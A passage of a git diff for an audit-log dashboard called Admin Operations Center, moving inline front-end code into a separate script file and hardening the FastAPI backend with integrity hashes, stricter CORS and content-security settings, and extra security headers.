this.modalExplainError = '';
this.modalOpen = true;
},
async copyRawEvent() {
if (!this.modalBody) return;
try {
await navigator.clipboard.writeText(this.modalBody);
this.statusText = 'Raw event copied to clipboard.';
setTimeout(() => { if (this.statusText === 'Raw event copied to clipboard.') this.statusText = ''; }, 2000);
} catch (err) {
this.statusText = 'Failed to copy to clipboard.';
}
},
async explainEvent() {
if (!this.modalEventId) return;
this.modalExplainLoading = true;
this.modalExplanation = '';
this.modalExplainError = '';
try {
const res = await fetch(`/api/events/${this.modalEventId}/explain`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.modalExplanation = body.explanation;
this.modalExplainError = body.llm_error || '';
} catch (err) {
this.modalExplainError = err.message || 'Failed to explain event.';
} finally {
this.modalExplainLoading = false;
}
},
async addTag(e, tag) {
if (!tag.trim()) return;
const tags = [...(e.tags || []), tag.trim()];
try {
const res = await fetch(`/api/events/${e.id}/tags`, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ tags }),
});
if (res.ok) e.tags = tags;
} catch {}
},
async addComment(e, text) {
if (!text.trim()) return;
try {
const res = await fetch(`/api/events/${e.id}/comments`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ text: text.trim() }),
});
if (res.ok) {
const c = await res.json();
e.comments = [...(e.comments || []), c];
}
} catch {}
},
exportJSON() {
const blob = new Blob([JSON.stringify(this.events, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.json`;
a.click();
URL.revokeObjectURL(url);
},
exportCSV() {
if (!this.events.length) return;
const headers = ['timestamp', 'service', 'operation', 'result', 'actor_display', 'target_displays', 'display_summary'];
const rows = this.events.map((e) => [
e.timestamp || '',
e.service || '',
e.operation || '',
e.result || '',
(e.actor_display || '').replace(/"/g, '""'),
(Array.isArray(e.target_displays) ? e.target_displays.join('; ') : '').replace(/"/g, '""'),
(e.display_summary || '').replace(/"/g, '""'),
]);
const csv = [headers.join(','), ...rows.map((r) => r.map((c) => `"${c}"`).join(','))].join('\n');
const blob = new Blob([csv], { type: 'text/csv' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.csv`;
a.click();
URL.revokeObjectURL(url);
},
};
}
+3 -824
View File
@@ -5,8 +5,9 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Admin Operations Center</title> <title>Admin Operations Center</title>
<link rel="stylesheet" href="/style.css?v=15" /> <link rel="stylesheet" href="/style.css?v=15" />
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script> <script src="/app.js?v=1"></script>
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script> <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.15.12/dist/cdn.min.js" integrity="sha384-pb6hrQvo4s23cEUFtj0CZkzGE3jyK3pj26RIupXXxhSrrcUA/Cn0lZgcCrGH0t6L" crossorigin="anonymous"></script>
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" integrity="sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW" crossorigin="anonymous"></script>
</head> </head>
<body> <body>
<div class="page" x-data="aocApp()" x-init="initApp()"> <div class="page" x-data="aocApp()" x-init="initApp()">
@@ -452,827 +453,5 @@
</footer> </footer>
</div> </div>
<script>
function aocApp() {
return {
events: [],
sourceHealth: [],
statusText: '',
countText: '',
cursorStack: [],
nextCursor: null,
currentCursor: null,
modalOpen: false,
modalBody: '',
modalEventId: '',
modalExplanation: '',
modalExplainLoading: false,
modalExplainError: '',
authBtnText: 'Login',
authConfig: null,
msalInstance: null,
account: null,
accessToken: null,
authScopes: [],
filters: {
actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '',
},
panelState: { sourceHealth: true, alerts: true, rules: true, filters: true, ask: true, events: true },
options: { actors: [], services: [], operations: [], results: [] },
savedSearches: [],
appVersion: '',
repoUrl: 'https://git.cqre.net/cqrenet/aoc',
docsUrl: 'https://git.cqre.net/cqrenet/aoc/src/branch/main/README.md',
aiFeaturesEnabled: true,
alertSummary: { total_open: 0, high: 0, medium: 0, low: 0 },
alerts: [],
alertsTotal: 0,
alertsPage: 1,
alertsFilter: { status: 'open', severity: '' },
rules: [],
ruleModalOpen: false,
ruleEditId: null,
ruleEdit: { name: '', enabled: true, severity: 'medium', message: '', conditions: [] },
askQuestionText: '',
askLoading: false,
askAnswer: '',
askAnswerHtml: '',
askEvents: [],
askLlmUsed: false,
askLlmError: '',
async initApp() {
await this.loadVersion();
await this.initAuth();
this.loadSavedFilters();
this.loadPanelState();
if (!this.authConfig?.auth_enabled || this.accessToken) {
await this.loadFilterOptions();
await this.loadSavedSearches();
await this.loadSourceHealth();
await this.loadAlertSummary();
await this.loadAlerts();
await this.loadRules();
await this.loadEvents();
}
},
loadSavedFilters() {
try {
const saved = localStorage.getItem('aoc_filters');
if (!saved) return;
const parsed = JSON.parse(saved);
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
fields.forEach((f) => {
if (parsed[f] !== undefined) this.filters[f] = parsed[f];
});
} catch {}
},
saveFilters() {
try {
localStorage.setItem('aoc_filters', JSON.stringify(this.filters));
} catch {}
},
loadPanelState() {
try {
const saved = localStorage.getItem('aoc_panels');
if (saved) {
const parsed = JSON.parse(saved);
Object.keys(parsed).forEach((k) => { if (this.panelState[k] !== undefined) this.panelState[k] = parsed[k]; });
}
} catch {}
},
savePanelState() {
try {
localStorage.setItem('aoc_panels', JSON.stringify(this.panelState));
} catch {}
},
togglePanel(key) {
this.panelState[key] = !this.panelState[key];
this.savePanelState();
},
async loadVersion() {
try {
const res = await fetch('/api/version');
if (res.ok) {
const body = await res.json();
this.appVersion = (body.version || '').replace(/^v/, '');
}
} catch {}
},
authHeader() {
return this.accessToken ? { Authorization: `Bearer ${this.accessToken}` } : {};
},
pickToken(res) {
if (!res) return null;
const clientId = this.authConfig?.client_id;
// If accessToken is present and its audience matches our API, use it.
if (res.accessToken && clientId) {
try {
const base64 = res.accessToken.split('.')[1].replace(/-/g, '+').replace(/_/g, '/');
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
const payload = JSON.parse(atob(padded));
if (payload.aud === clientId) {
return res.accessToken;
}
} catch {}
}
// Fall back to idToken (always aud=clientId) or accessToken
return res.idToken || res.accessToken || null;
},
async initAuth() {
try {
const res = await fetch('/api/config/auth');
if (!res.ok) {
console.error('Auth config fetch failed:', res.status, res.statusText);
this.authConfig = { auth_enabled: false, _error: res.status };
} else {
this.authConfig = await res.json();
}
} catch (err) {
console.error('Auth config fetch error:', err);
this.authConfig = { auth_enabled: false, _error: 'network' };
}
try {
const featRes = await fetch('/api/config/features');
if (featRes.ok) {
const featBody = await featRes.json();
this.aiFeaturesEnabled = featBody.ai_features_enabled !== false;
if (featBody.default_page_size) {
this.filters.limit = featBody.default_page_size;
} else {
this.filters.limit = 24;
}
} else {
this.aiFeaturesEnabled = true;
}
} catch {
this.aiFeaturesEnabled = true;
}
if (!this.authConfig?.auth_enabled) {
this.authBtnText = 'Auth: OFF';
console.warn('AOC auth is disabled. Set AUTH_ENABLED=true in .env to enable login.');
return;
}
const tenantId = this.authConfig.tenant_id;
const clientId = this.authConfig.client_id;
if (!clientId || !tenantId) {
this.authBtnText = 'Auth: misconfigured';
this.statusText = 'Auth is enabled but client_id or tenant_id is missing. Check .env configuration.';
console.error('AOC auth misconfigured: missing client_id or tenant_id in /api/config/auth');
return;
}
if (typeof msal === 'undefined' || !msal.PublicClientApplication) {
this.statusText = 'Login library failed to load. Please check network or CDN.';
return;
}
const baseScope = this.authConfig.scope || "";
this.authScopes = Array.from(new Set(['openid', 'profile', 'email', ...baseScope.split(/[ ,]+/).filter(Boolean)]));
const authority = `https://login.microsoftonline.com/${tenantId}`;
const redirectUri = window.location.origin;
this.msalInstance = new msal.PublicClientApplication({
auth: { clientId, authority, redirectUri },
cache: { cacheLocation: 'sessionStorage' },
});
const redirectResult = await this.msalInstance.handleRedirectPromise().catch(() => null);
if (redirectResult) {
this.account = redirectResult.account;
this.msalInstance.setActiveAccount(this.account);
this.accessToken = this.pickToken(redirectResult);
} else {
const accounts = this.msalInstance.getAllAccounts();
if (accounts.length) {
this.account = accounts[0];
this.msalInstance.setActiveAccount(this.account);
this.accessToken = await this.acquireToken(this.authScopes);
}
}
this.updateAuthButtons();
},
async acquireToken(scopes) {
if (!this.msalInstance || !this.account) return null;
const request = { scopes: scopes && scopes.length ? scopes : ['openid', 'profile', 'email'], account: this.account };
try {
const res = await this.msalInstance.acquireTokenSilent(request);
return this.pickToken(res);
} catch {
const res = await this.msalInstance.acquireTokenPopup(request);
return this.pickToken(res);
}
},
updateAuthButtons() {
const loggedIn = !!this.account;
if (this.authConfig?.auth_enabled) {
this.authBtnText = loggedIn ? 'Logout' : 'Login';
}
if (loggedIn) {
this.acquireToken(this.authScopes).then((t) => { if (t) this.accessToken = t; }).catch(() => {});
this.statusText = '';
} else if (this.authConfig?.auth_enabled) {
this.statusText = 'Please log in to view events.';
}
},
async toggleAuth() {
if (!this.authConfig?.auth_enabled || !this.msalInstance) return;
if (this.account) {
const acc = this.msalInstance.getActiveAccount();
this.accessToken = null;
this.account = null;
this.updateAuthButtons();
if (acc) await this.msalInstance.logoutPopup({ account: acc });
return;
}
const scopes = this.authScopes && this.authScopes.length ? this.authScopes : ['openid', 'profile', 'email'];
this.statusText = 'Redirecting to sign in...';
this.msalInstance.loginRedirect({ scopes });
},
async loadEvents(cursor) {
this.currentCursor = cursor || null;
const params = new URLSearchParams();
['actor', 'operation', 'result', 'search'].forEach((key) => {
const val = this.filters[key];
if (val) params.append(key, val);
});
if (this.filters.selectedServices && this.filters.selectedServices.length) {
this.filters.selectedServices.forEach((s) => params.append('services', s));
}
if (this.filters.includeTags) {
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
}
if (this.filters.excludeTags) {
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
}
if (this.filters.start) {
const d = new Date(this.filters.start);
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
}
if (this.filters.end) {
const d = new Date(this.filters.end);
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
}
params.append('page_size', String(this.filters.limit || 50));
if (cursor) params.append('cursor', cursor);
this.statusText = 'Loading events…';
this.countText = '';
if (this.authConfig?.auth_enabled && !this.accessToken) {
this.statusText = 'Please sign in to load events.';
return;
}
try {
const res = await fetch(`/api/events?${params.toString()}`, { headers: { Accept: 'application/json', ...this.authHeader() } });
if (!res.ok) throw new Error(`Request failed: ${res.status} ${await res.text()}`);
const body = await res.json();
this.events = body.items || [];
this.nextCursor = body.next_cursor || null;
this.countText = body.total >= 0 ? `${body.total} event${body.total === 1 ? '' : 's'}` : '';
this.statusText = this.events.length ? '' : 'No events found for these filters.';
this.saveFilters();
} catch (err) {
this.statusText = err.message || 'Failed to load events.';
}
},
async fetchLogs() {
this.statusText = 'Fetching latest audit logs…';
if (this.authConfig?.auth_enabled && !this.accessToken) {
this.statusText = 'Please sign in first.';
return;
}
try {
const res = await fetch('/api/fetch-audit-logs', { headers: this.authHeader() });
if (!res.ok) throw new Error(`Fetch failed: ${res.status} ${await res.text()}`);
const body = await res.json();
const errs = Array.isArray(body.errors) && body.errors.length ? `Warnings: ${body.errors.join(' | ')}` : '';
this.statusText = `Fetched and stored ${body.stored_events || 0} events.${errs ? ' ' + errs : ''} Refreshing list…`;
this.resetPagination();
await this.loadEvents();
await this.loadSourceHealth();
} catch (err) {
this.statusText = err.message || 'Failed to fetch audit logs.';
}
},
async loadFilterOptions() {
if (this.authConfig?.auth_enabled && !this.accessToken) return;
try {
const res = await fetch('/api/filter-options', { headers: this.authHeader() });
if (!res.ok) return;
const opts = await res.json();
this.options.actors = (opts.actors || []).slice(0, 200);
this.options.services = (opts.services || []).slice(0, 200);
this.options.operations = (opts.operations || []).slice(0, 200);
this.options.results = (opts.results || []).slice(0, 200);
const saved = localStorage.getItem('aoc_filters');
if (!saved && this.options.services.length) {
// Default: show all services (privacy controls handle exclusions server-side)
this.filters.selectedServices = [...this.options.services];
} else if (saved) {
try {
const parsed = JSON.parse(saved);
if (parsed.selectedServices) {
this.filters.selectedServices = parsed.selectedServices.filter((s) => this.options.services.includes(s));
}
} catch {}
}
} catch {}
},
async loadSourceHealth() {
try {
const res = await fetch('/api/source-health', { headers: this.authHeader() });
if (!res.ok) return;
this.sourceHealth = await res.json();
} catch {}
},
async loadSavedSearches() {
try {
const res = await fetch('/api/saved-searches', { headers: this.authHeader() });
if (!res.ok) return;
this.savedSearches = await res.json();
} catch {}
},
async saveCurrentFilters() {
const name = prompt('Name this saved filter:');
if (!name || !name.trim()) return;
try {
const res = await fetch('/api/saved-searches', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ name: name.trim(), filters: { ...this.filters } }),
});
if (!res.ok) throw new Error(await res.text());
const created = await res.json();
this.savedSearches.unshift(created);
this.statusText = 'Filters saved.';
setTimeout(() => { if (this.statusText === 'Filters saved.') this.statusText = ''; }, 2000);
} catch (err) {
this.statusText = err.message || 'Failed to save filters.';
}
},
applySavedSearch(ss) {
if (!ss || !ss.filters) return;
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
fields.forEach((f) => {
if (ss.filters[f] !== undefined) this.filters[f] = ss.filters[f];
});
// Validate selectedServices against current options
this.filters.selectedServices = this.filters.selectedServices.filter((s) => this.options.services.includes(s));
this.resetPagination();
this.loadEvents();
},
async deleteSavedSearch(id) {
if (!confirm('Delete this saved search?')) return;
try {
const res = await fetch(`/api/saved-searches/${id}`, {
method: 'DELETE',
headers: this.authHeader(),
});
if (!res.ok) throw new Error(await res.text());
this.savedSearches = this.savedSearches.filter((s) => s.id !== id);
} catch (err) {
this.statusText = err.message || 'Failed to delete saved search.';
}
},
resetPagination() {
this.cursorStack = [];
this.nextCursor = null;
this.currentCursor = null;
},
goPrev() {
if (this.cursorStack.length) {
const prevCursor = this.cursorStack.pop();
this.loadEvents(prevCursor);
}
},
goNext() {
if (this.nextCursor) {
this.cursorStack.push(this.currentCursor);
this.loadEvents(this.nextCursor);
}
},
clearFilters() {
this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '' };
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
filterByService(service) {
if (!service) return;
this.filters.selectedServices = [service];
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
filterByResult(result) {
if (!result) return;
this.filters.result = this.filters.result === result ? '' : result;
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
async loadAlertSummary() {
try {
const res = await fetch('/api/alerts/summary', { headers: this.authHeader() });
if (!res.ok) return;
const body = await res.json();
this.alertSummary.total_open = body.total_open || 0;
const sev = body.by_status_severity || [];
this.alertSummary.high = sev.filter((s) => s._id.severity === 'high' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
this.alertSummary.medium = sev.filter((s) => s._id.severity === 'medium' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
this.alertSummary.low = sev.filter((s) => s._id.severity === 'low' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
} catch {}
},
async loadAlerts() {
try {
const params = new URLSearchParams();
params.append('page_size', '20');
params.append('page', String(this.alertsPage));
if (this.alertsFilter.status) params.append('status', this.alertsFilter.status);
if (this.alertsFilter.severity) params.append('severity', this.alertsFilter.severity);
const res = await fetch(`/api/alerts?${params.toString()}`, { headers: this.authHeader() });
if (!res.ok) return;
const body = await res.json();
this.alerts = body.items || [];
this.alertsTotal = body.total || 0;
} catch {}
},
async updateAlertStatus(alertId, status) {
try {
const res = await fetch(`/api/alerts/${alertId}/status`, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ status }),
});
if (res.ok) {
await this.loadAlerts();
await this.loadAlertSummary();
}
} catch {}
},
async loadRules() {
try {
const res = await fetch('/api/rules', { headers: this.authHeader() });
if (!res.ok) return;
this.rules = await res.json();
} catch {}
},
openRuleEditor(rule) {
if (rule) {
this.ruleEditId = rule.id;
this.ruleEdit = {
name: rule.name,
enabled: rule.enabled,
severity: rule.severity,
message: rule.message,
conditions: JSON.parse(JSON.stringify(rule.conditions)),
};
} else {
this.ruleEditId = null;
this.ruleEdit = { name: '', enabled: true, severity: 'medium', message: '', conditions: [] };
}
this.ruleModalOpen = true;
},
async saveRule() {
const payload = { ...this.ruleEdit };
try {
const url = this.ruleEditId ? `/api/rules/${this.ruleEditId}` : '/api/rules';
const method = this.ruleEditId ? 'PUT' : 'POST';
const res = await fetch(url, {
method,
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify(payload),
});
if (!res.ok) throw new Error(await res.text());
this.ruleModalOpen = false;
await this.loadRules();
} catch (err) {
alert('Failed to save rule: ' + err.message);
}
},
async toggleRule(ruleId, enabled) {
try {
const rule = this.rules.find((r) => r.id === ruleId);
if (!rule) return;
const res = await fetch(`/api/rules/${ruleId}`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ ...rule, enabled }),
});
if (res.ok) await this.loadRules();
} catch {}
},
async deleteRule(ruleId) {
if (!confirm('Delete this rule?')) return;
try {
const res = await fetch(`/api/rules/${ruleId}`, {
method: 'DELETE',
headers: this.authHeader(),
});
if (res.ok) await this.loadRules();
} catch {}
},
async askQuestion() {
const q = this.askQuestionText.trim();
if (!q) return;
this.askLoading = true;
this.askAnswer = '';
this.askAnswerHtml = '';
this.askEvents = [];
this.askLlmError = '';
const payload = { question: q };
if (this.filters.selectedServices && this.filters.selectedServices.length) {
payload.services = this.filters.selectedServices;
}
if (this.filters.actor) payload.actor = this.filters.actor;
if (this.filters.operation) payload.operation = this.filters.operation;
if (this.filters.result) payload.result = this.filters.result;
if (this.filters.start) payload.start = new Date(this.filters.start).toISOString();
if (this.filters.end) payload.end = new Date(this.filters.end).toISOString();
if (this.filters.includeTags) {
payload.include_tags = this.filters.includeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
}
if (this.filters.excludeTags) {
payload.exclude_tags = this.filters.excludeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
}
try {
const res = await fetch('/api/ask', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify(payload),
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.askAnswer = body.answer;
this.askAnswerHtml = this._mdToHtml(body.answer);
this.askEvents = body.events || [];
this.askLlmUsed = body.llm_used;
this.askLlmError = body.llm_error || '';
} catch (err) {
this.askAnswer = 'Sorry, something went wrong: ' + (err.message || 'Unknown error');
this.askAnswerHtml = this.askAnswer;
} finally {
this.askLoading = false;
}
},
clearAsk() {
this.askQuestionText = '';
this.askAnswer = '';
this.askAnswerHtml = '';
this.askEvents = [];
this.askLlmUsed = false;
this.askLlmError = '';
},
_mdToHtml(text) {
// Very lightweight markdown-to-HTML for LLM answers
return text
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
.replace(/\*\*(.+?)\*\*/g, '<strong>$1</strong>')
.replace(/\*(.+?)\*/g, '<em>$1</em>')
.replace(/`([^`]+)`/g, '<code>$1</code>')
.replace(/Event #(\d+)/g, '<strong>Event #$1</strong>')
.replace(/\n/g, '<br>');
},
hasActiveFilters() {
return this.filters.actor || this.filters.operation || this.filters.result ||
this.filters.start || this.filters.end || this.filters.includeTags ||
this.filters.excludeTags ||
(this.filters.selectedServices && this.filters.selectedServices.length &&
this.filters.selectedServices.length < this.options.services.length);
},
activeFilterSummary() {
const parts = [];
if (this.filters.actor) parts.push('actor');
if (this.filters.operation) parts.push('action');
if (this.filters.result) parts.push('result');
if (this.filters.start || this.filters.end) parts.push('time');
if (this.filters.includeTags || this.filters.excludeTags) parts.push('tags');
const svcCount = this.filters.selectedServices?.length || 0;
const allCount = this.options.services?.length || 0;
if (svcCount && svcCount < allCount) parts.push(`${svcCount} service${svcCount === 1 ? '' : 's'}`);
return parts.join(', ') || 'none';
},
async bulkTagMatching() {
const tag = prompt('Enter tag to apply to all matching events:');
if (!tag || !tag.trim()) return;
const mode = confirm('Click OK to REPLACE existing tags.\nClick Cancel to APPEND the new tag.') ? 'replace' : 'append';
const params = new URLSearchParams();
['actor', 'operation', 'result', 'search'].forEach((key) => {
const val = this.filters[key];
if (val) params.append(key, val);
});
if (this.filters.selectedServices && this.filters.selectedServices.length) {
this.filters.selectedServices.forEach((s) => params.append('services', s));
}
if (this.filters.includeTags) {
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
}
if (this.filters.excludeTags) {
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
}
if (this.filters.start) {
const d = new Date(this.filters.start);
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
}
if (this.filters.end) {
const d = new Date(this.filters.end);
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
}
this.statusText = 'Applying bulk tag…';
try {
const res = await fetch(`/api/events/bulk-tags?${params.toString()}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ tags: [tag.trim()], mode }),
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.statusText = `Tagged ${body.matched} events (${body.modified} modified).`;
await this.loadEvents();
} catch (err) {
this.statusText = err.message || 'Failed to apply bulk tag.';
}
},
displayActor(e) {
const app = e.actor?.application || e.actor?.app;
if (app?.displayName) return app.displayName;
return e.actor_display ||
(e.actor_resolved?.name) ||
(e.actor?.user?.displayName && e.actor?.user?.userPrincipalName && e.actor?.user?.displayName !== e.actor?.user?.userPrincipalName
? `${e.actor.user.displayName} (${e.actor.user.userPrincipalName})`
: (e.actor?.user?.displayName || e.actor?.user?.userPrincipalName)) ||
e.actor?.servicePrincipal?.displayName ||
'Unknown actor';
},
displayTargets(e) {
if (Array.isArray(e.target_displays) && e.target_displays.length) return e.target_displays.join(', ');
if (Array.isArray(e.targets) && e.targets.length) return e.targets[0].displayName || e.targets[0].id || '—';
return '—';
},
openModal(e) {
const seen = new WeakSet();
try {
this.modalBody = JSON.stringify(e.raw || e, (key, value) => {
if (typeof value === 'object' && value !== null) {
if (seen.has(value)) return '[Circular]';
seen.add(value);
}
return value;
}, 2);
} catch (err) {
this.modalBody = `Error serializing event:\n${err.message}\n\nEvent ID: ${e.id || 'N/A'}`;
}
this.modalEventId = e.id || '';
this.modalExplanation = '';
this.modalExplainError = '';
this.modalOpen = true;
},
async copyRawEvent() {
if (!this.modalBody) return;
try {
await navigator.clipboard.writeText(this.modalBody);
this.statusText = 'Raw event copied to clipboard.';
setTimeout(() => { if (this.statusText === 'Raw event copied to clipboard.') this.statusText = ''; }, 2000);
} catch (err) {
this.statusText = 'Failed to copy to clipboard.';
}
},
async explainEvent() {
if (!this.modalEventId) return;
this.modalExplainLoading = true;
this.modalExplanation = '';
this.modalExplainError = '';
try {
const res = await fetch(`/api/events/${this.modalEventId}/explain`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.modalExplanation = body.explanation;
this.modalExplainError = body.llm_error || '';
} catch (err) {
this.modalExplainError = err.message || 'Failed to explain event.';
} finally {
this.modalExplainLoading = false;
}
},
async addTag(e, tag) {
if (!tag.trim()) return;
const tags = [...(e.tags || []), tag.trim()];
try {
const res = await fetch(`/api/events/${e.id}/tags`, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ tags }),
});
if (res.ok) e.tags = tags;
} catch {}
},
async addComment(e, text) {
if (!text.trim()) return;
try {
const res = await fetch(`/api/events/${e.id}/comments`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ text: text.trim() }),
});
if (res.ok) {
const c = await res.json();
e.comments = [...(e.comments || []), c];
}
} catch {}
},
exportJSON() {
const blob = new Blob([JSON.stringify(this.events, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.json`;
a.click();
URL.revokeObjectURL(url);
},
exportCSV() {
if (!this.events.length) return;
const headers = ['timestamp', 'service', 'operation', 'result', 'actor_display', 'target_displays', 'display_summary'];
const rows = this.events.map((e) => [
e.timestamp || '',
e.service || '',
e.operation || '',
e.result || '',
(e.actor_display || '').replace(/"/g, '""'),
(Array.isArray(e.target_displays) ? e.target_displays.join('; ') : '').replace(/"/g, '""'),
(e.display_summary || '').replace(/"/g, '""'),
]);
const csv = [headers.join(','), ...rows.map((r) => r.map((c) => `"${c}"`).join(','))].join('\n');
const blob = new Blob([csv], { type: 'text/csv' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.csv`;
a.click();
URL.revokeObjectURL(url);
},
};
}
</script>
</body> </body>
</html> </html>
+79 -8
View File
@@ -1,4 +1,5 @@
import asyncio import asyncio
import ipaddress
import logging import logging
import os import os
import time import time
@@ -7,7 +8,18 @@ from pathlib import Path
import structlog import structlog
from audit_trail import log_action from audit_trail import log_action
from config import AI_FEATURES_ENABLED, AUTH_ENABLED, CORS_ORIGINS, ENABLE_PERIODIC_FETCH, FETCH_INTERVAL_MINUTES from config import (
AI_FEATURES_ENABLED,
AUTH_ALLOWED_GROUPS,
AUTH_ALLOWED_ROLES,
AUTH_ENABLED,
CORS_ORIGINS,
DOCS_ENABLED,
ENABLE_PERIODIC_FETCH,
FETCH_INTERVAL_MINUTES,
METRICS_ALLOWED_IPS,
WEBHOOK_CLIENT_SECRET,
)
from database import setup_indexes from database import setup_indexes
from fastapi import FastAPI, HTTPException, Request from fastapi import FastAPI, HTTPException, Request
from fastapi.middleware.cors import CORSMiddleware from fastapi.middleware.cors import CORSMiddleware
@@ -51,20 +63,28 @@ def configure_logging():
configure_logging() configure_logging()
logger = structlog.get_logger("aoc.fetcher") logger = structlog.get_logger("aoc.fetcher")
app = FastAPI() # Disable OpenAPI docs in production by default
app = FastAPI(
docs_url="/docs" if DOCS_ENABLED else None,
redoc_url="/redoc" if DOCS_ENABLED else None,
openapi_url="/openapi.json" if DOCS_ENABLED else None,
)
# CORS: warn if wildcard is used with auth enabled, but do not break deployments # CORS: when auth is enabled, never allow credentials with wildcard origins
_effective_cors = CORS_ORIGINS _effective_cors = CORS_ORIGINS
_cors_credentials = True
if AUTH_ENABLED and "*" in _effective_cors: if AUTH_ENABLED and "*" in _effective_cors:
logger.warning( logger.warning(
"CORS wildcard (*) is insecure when AUTH_ENABLED=true. Set CORS_ORIGINS to your actual origin(s) in production." "CORS wildcard (*) is insecure with AUTH_ENABLED=true and allow_credentials. "
"Disabling credentials. Set CORS_ORIGINS to your actual origin(s)."
) )
_cors_credentials = False
app.add_middleware(CorrelationIdMiddleware) app.add_middleware(CorrelationIdMiddleware)
app.add_middleware( app.add_middleware(
CORSMiddleware, CORSMiddleware,
allow_origins=_effective_cors, allow_origins=_effective_cors,
allow_credentials=True, allow_credentials=_cors_credentials,
allow_methods=["*"], allow_methods=["*"],
allow_headers=["*"], allow_headers=["*"],
) )
@@ -81,7 +101,7 @@ async def prometheus_middleware(request: Request, call_next):
@app.middleware("http") @app.middleware("http")
async def cache_control_middleware(request: Request, call_next): async def security_headers_middleware(request: Request, call_next):
response = await call_next(request) response = await call_next(request)
# Prevent caching of HTML and API responses by default # Prevent caching of HTML and API responses by default
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"): if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
@@ -92,7 +112,7 @@ async def cache_control_middleware(request: Request, call_next):
if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"): if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
response.headers["Content-Security-Policy"] = ( response.headers["Content-Security-Policy"] = (
"default-src 'self'; " "default-src 'self'; "
"script-src 'self' 'unsafe-inline' 'unsafe-eval' cdn.jsdelivr.net alcdn.msauth.net; " "script-src 'self' 'unsafe-eval' cdn.jsdelivr.net alcdn.msauth.net; "
"style-src 'self' 'unsafe-inline'; " "style-src 'self' 'unsafe-inline'; "
"connect-src 'self' https://login.microsoftonline.com; " "connect-src 'self' https://login.microsoftonline.com; "
"frame-src 'self' https://login.microsoftonline.com; " "frame-src 'self' https://login.microsoftonline.com; "
@@ -100,6 +120,13 @@ async def cache_control_middleware(request: Request, call_next):
"img-src 'self' data:; " "img-src 'self' data:; "
"font-src 'self' data:;" "font-src 'self' data:;"
) )
# Additional security headers
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Permissions-Policy"] = (
